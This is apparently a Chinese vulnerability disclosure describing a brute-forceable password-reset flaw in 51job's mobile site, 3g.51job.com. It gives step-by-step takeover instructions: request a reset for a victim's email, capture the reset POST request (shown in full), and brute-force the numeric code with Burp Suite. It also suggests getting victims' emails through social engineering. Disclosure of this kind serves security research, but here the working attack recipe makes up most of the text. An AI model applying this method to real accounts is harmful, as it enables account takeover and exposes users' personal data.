前程无忧(51job)一个密码找回漏洞

披露状态:

2013-03-07: 细节已通知厂商并且等待厂商处理中
2013-03-12: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:
近日感冒缠身,请了好几天的假,昨儿气色见好.....(这里还是简单点好)。

详细说明:
听说提洞写标题描述须谨慎。上面还是简单点好。

近日感冒缠身,请了好几天的假,昨儿气色见好。就拿起手机偶然滴就下了前程无忧的APP;
N久没登,于是就直达忘记密码填邮箱找回....偶然发现邮件验证码竟然是全数字,于是乎,职业病来袭了!(心想明儿来了再看看吧)。

谁料,时至现在才想起...

入正题:
1、看了看,只在移动端可行。就这一道就够了!

2、直接忘记密码->通过邮箱找回->写上你要XX的账号邮箱(这个不难得到吧,各种社工);

前程无忧(51job)一个密码找回漏洞

3、成功后->点击重置密码,随便填入验证码,还有你那可爱的密码,并设置好代理。

前程无忧(51job)一个密码找回漏洞

4、抓包获取的请求如下:

POST /my/reset_password.php?step=reset_submit HTTP/1.1
Host: 3g.51job.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:19.0) Gecko/20100101 Firefox/19.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Referer: ?step=reset&verifycode=xxxx&id=xxx
Cookie: guid=13626475981965640089; nolife=fromdomain%3Dwww; wapsearch=areaid%3D170200; partner=wap
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 112

inputcode=123123&password1=他叫马赛克&password2=他也叫马赛克&verifycode=b1fd981aa08206ae6858e10d0e674023&id=45819963

一眼瞄出inputcode为短信验证码,password1和password2为重置密码,verifycode...这个形同虚设,id就不用介绍了吧。

拿出你那秀气的burp suite,向inputcode进军吧。

前程无忧(51job)一个密码找回漏洞

以便于测试,从374000开始。

前程无忧(51job)一个密码找回漏洞